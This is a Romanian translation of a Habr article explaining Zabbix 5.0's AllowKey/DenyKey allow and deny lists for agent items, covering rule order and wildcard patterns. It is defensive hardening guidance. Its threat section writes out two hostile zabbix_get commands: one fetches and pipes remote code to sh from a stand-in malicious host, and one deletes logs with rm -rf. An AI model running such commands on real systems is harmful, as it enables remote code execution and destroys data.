Compatibilitate cu lista neagră și lista albă pentru valorile din partea agentului în Zabbix 5.0

Compatibilitate cu lista neagră și lista albă pentru valorile din partea agentului în Zabbix 5.0

Compatibilitate cu listele negre și albe pentru valorile la nivelul agentului

Tihon Uskov, Inginer Integrare, Zabbix

Probleme de securitate a datelor

Zabbix 5.0 are o nouă caracteristică care vă permite să îmbunătățiți securitatea sistemelor folosind Zabbix Agent și înlocuiește vechiul parametru EnableRemoteCommands.

Îmbunătățirile în securitatea sistemelor bazate pe agenți provin din faptul că un agent poate efectua un număr mare de acțiuni potențial periculoase.

  • Agentul poate colecta aproape orice informație, inclusiv informații confidențiale sau potențial periculoase, din fișiere de configurare, fișiere jurnal, fișiere de parole sau orice alte fișiere.

De exemplu, folosind utilitarul zabbix_get puteți accesa o listă de utilizatori, directoarele lor de acasă, fișierele de parole etc.

Compatibilitate cu lista neagră și lista albă pentru valorile din partea agentului în Zabbix 5.0

Accesarea datelor folosind utilitarul zabbix_get

NOTĂ. Datele pot fi preluate numai dacă agentul are permisiuni de citire pe fișierul corespunzător. Dar, de exemplu, fișierul /etc/passwd/ lizibil de toți utilizatorii.

  • Agentul poate executa, de asemenea, comenzi potențial periculoase. De exemplu, cheia *system.run[]** vă permite să executați orice comenzi de la distanță pe nodurile de rețea, inclusiv rularea de scripturi din interfața web Zabbix care execută și comenzi din partea agentului.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Pe Linux, agentul rulează implicit fără privilegii root, în timp ce pe Windows rulează ca un serviciu ca sistem și are acces nerestricționat la sistemul de fișiere. În consecință, dacă nu se fac modificări la parametrii Agentului Zabbix după instalare, agentul are acces la registru, sistemul de fișiere și poate executa interogări WMI.

În versiunile anterioare parametrul EnableRemoteCommands=0 permis numai dezactivarea valorilor cu cheia *system.run[]** și rulează scripturi din interfața web, dar nu a existat nicio modalitate de a restricționa accesul la fișiere individuale, de a permite sau de a dezactiva cheile individuale care au fost instalate cu agentul sau de a limita utilizarea parametrilor individuali.

Compatibilitate cu lista neagră și lista albă pentru valorile din partea agentului în Zabbix 5.0

Utilizarea parametrului EnableRemoteCommand în versiunile anterioare de Zabbix

AllowKey/DenyKey

Zabbix 5.0 ajută la protejarea împotriva unui astfel de acces neautorizat, oferind liste albe și liste negre pentru a permite și a refuza valorile din partea agentului.

În Zabbix 5.0 toate cheile, inclusiv *system.run[]** sunt activate și au fost adăugate două noi opțiuni de configurare a agentului:

AllowKey= — controale permise;

DenyKey= — controale interzise;

unde este un model de nume cheie cu parametri care utilizează metacaractere (*).

Cheile AllowKey și DenyKey vă permit să permiteți sau să respingeți valori individuale pe baza unui model specific. Spre deosebire de alți parametri de configurare, numărul de parametri AllowKey/DenyKey nu este limitat. Acest lucru vă permite să definiți clar ce anume poate face agentul în sistem prin crearea unui arbore de verificări - chei executabile, unde ordinea în care sunt scrise joacă un rol foarte important.

Succesiunea regulilor

Regulile sunt verificate în ordinea în care sunt introduse în fișierul de configurare. Cheia este verificată conform regulilor înainte de prima potrivire și, de îndată ce cheia elementului de date se potrivește cu modelul, este permisă sau refuzată. După aceasta, verificarea regulilor se oprește și cheile rămase sunt ignorate.

Prin urmare, dacă un element se potrivește atât cu o regulă de permis, cât și cu o regulă de refuzare, rezultatul va depinde de ce regulă este prima în fișierul de configurare.

Compatibilitate cu lista neagră și lista albă pentru valorile din partea agentului în Zabbix 5.0

2 reguli diferite cu același model și o cheie vfs.file.size[/tmp/file]

Ordinea de utilizare a tastelor AllowKey/DenyKey:

  1. reguli exacte,
  2. reguli generale,
  3. regula prohibitiva.

De exemplu, dacă aveți nevoie de acces la fișierele dintr-un anumit folder, trebuie mai întâi să permiteți accesul la acestea și apoi să refuzați orice altceva care nu se încadrează în permisiunile stabilite. Dacă regula de refuzare este folosită mai întâi, accesul la folder va fi refuzat.

Compatibilitate cu lista neagră și lista albă pentru valorile din partea agentului în Zabbix 5.0

Secvența corectă

Dacă trebuie să permiteți rularea a 2 utilitare prin *system.run[]**, iar regula de refuzare va fi specificată mai întâi, utilitarele nu vor fi lansate, deoarece primul model se va potrivi întotdeauna cu orice cheie, iar regulile ulterioare vor fi ignorate.

Compatibilitate cu lista neagră și lista albă pentru valorile din partea agentului în Zabbix 5.0

Secvență incorectă

Modele

Normele Fundamentale

Modelul este o expresie cu metacaractere. Metacaracterul (*) se potrivește cu orice număr de caractere într-o anumită poziție. Metacaracterele pot fi folosite atât în ​​numele cheii, cât și în parametri. De exemplu, puteți defini strict primul parametru cu text, și specificați-o pe cea ulterioară ca wildcard.

Parametrii trebuie să fie încadrați între paranteze drepte [].

  • system.run[* - incorect
  • vfs.file*.txt] - incorect
  • vfs.file.*[*] - dreapta

Exemple de utilizare a caracterelor joker.

  1. În numele cheii și în parametru. În acest caz, cheia nu corespunde unei chei similare care nu conține un parametru, deoarece în model am indicat că dorim să primim o anumită terminare a numelui cheii și un anumit set de parametri.
  2. Dacă modelul nu folosește paranteze pătrate, modelul permite toate cheile care nu conțin parametri și refuză toate cheile care conțin parametrul specificat.
  3. Dacă cheia este scrisă în întregime și parametrii sunt specificați ca wildcard, se va potrivi orice cheie similară cu orice parametri și nu se va potrivi cu cheia fără paranteze drepte, adică va fi permisă sau refuzată.

Compatibilitate cu lista neagră și lista albă pentru valorile din partea agentului în Zabbix 5.0

Reguli de completare a parametrilor.

  • Dacă se intenționează să se utilizeze o cheie cu parametri, parametrii trebuie specificați în fișierul de configurare. Parametrii trebuie specificați ca metacaracter. Este necesar să interziceți cu atenție accesul la orice fișier și să luați în considerare ce informații poate furniza metrica sub diferite ortografii - cu și fără parametri.

Compatibilitate cu lista neagră și lista albă pentru valorile din partea agentului în Zabbix 5.0

Caracteristici de scriere a tastelor cu parametri

  • Dacă o cheie este specificată cu parametri, dar parametrii sunt opționali și specificați ca metacaracter, o cheie fără parametri va fi rezolvată. De exemplu, dacă doriți să dezactivați primirea de informații despre încărcarea CPU și să specificați că tasta system.cpu.load[*] ar trebui să fie dezactivată, nu uitați că cheia fără parametri va returna valoarea medie a încărcării.

Compatibilitate cu lista neagră și lista albă pentru valorile din partea agentului în Zabbix 5.0

Reguli de completare a parametrilor

Comentarii

ajustare

  • Unele reguli nu pot fi modificate de către utilizator, de exemplu, regulile de descoperire sau regulile de înregistrare automată a agentului. Regulile AllowKey/DenyKey nu afectează următorii parametri:
    - HostnameItem
    - HostMetadataItem
    - HostInterfaceItem

NOTĂ. Dacă un administrator dezactivează o cheie, atunci când este interogat, Zabbix nu oferă informații despre motivul pentru care valoarea sau cheia se încadrează în categoria „NU SUNT ACCEPTATE'. De asemenea, informațiile despre interdicțiile privind executarea comenzilor de la distanță nu sunt afișate în fișierele jurnal ale agentului. Acest lucru este din motive de securitate, dar poate complica depanarea dacă valorile se încadrează într-o categorie neacceptată dintr-un motiv oarecare.

  • Nu trebuie să vă bazați pe nicio ordine specifică pentru conectarea fișierelor de configurare externe (de exemplu, în ordine alfabetică).

Utilitare de linie de comandă

După configurarea regulilor, trebuie să vă asigurați că totul este configurat corect.

Puteți utiliza una dintre cele trei opțiuni:

  • Adăugați o valoare la Zabbix.
  • Testează cu zabbix_agentd. Agent Zabbix cu opțiune -tipărește (-p) afișează toate cheile (care sunt permise implicit), cu excepția celor care nu sunt permise de configurație. Si cu optiunea -test (-t) pentru că o cheie interzisă va reveni "Cheie de element neacceptată".
  • Testează cu zabbix_get. Utilitate zabbix_get cu optiune -k va reveni 'ZBX_NOTSUPPORTED: valoare necunoscută".

Permite sau respinge

Puteți refuza accesul la un fișier și puteți verifica, de exemplu, folosind utilitarul zabbix_getcă accesul la dosar este interzis.

Compatibilitate cu lista neagră și lista albă pentru valorile din partea agentului în Zabbix 5.0

**

NOTĂ. Ghilimele din parametru sunt ignorate.

În acest caz, accesul la un astfel de fișier poate fi permis printr-o cale diferită. De exemplu, dacă un link simbolic duce la acesta.

Compatibilitate cu lista neagră și lista albă pentru valorile din partea agentului în Zabbix 5.0

Se recomandă verificarea diferitelor opțiuni pentru aplicarea regulilor specificate și, de asemenea, să țineți cont de posibilitățile de eludare a interdicțiilor.

Întrebări și răspunsuri

Întrebare. De ce a fost ales un model atât de complex cu propriul său limbaj pentru a descrie reguli, permisiuni și interdicții? De ce nu a fost posibil să se folosească, de exemplu, expresiile regulate pe care le folosește Zabbix?

Răspunde. Aceasta este o problemă de performanță regex, deoarece de obicei există un singur agent și verifică un număr mare de valori. Regex este o operațiune destul de grea și nu putem verifica mii de valori în acest fel. Wildcards - o soluție universală, utilizată pe scară largă și simplă.

Întrebare. Nu sunt incluse fișierele Includeți în ordine alfabetică?

Răspunde. Din câte știu, este practic imposibil să preziceți ordinea în care vor fi aplicate regulile dacă distribuiți regulile în diferite fișiere. Recomand să colectați toate regulile AllowKey/DenyKey într-un singur fișier Include, deoarece interacționează între ele și includerea acestui fișier.

Întrebare. În Zabbix 5.0 opțiunea 'EnableRemoteCommands=' lipsește din fișierul de configurare și sunt disponibile numai AllowKey/DenyKey?

Răspuns. da, așa e.

Vă mulțumim pentru atenție!

Sursa: www.habr.com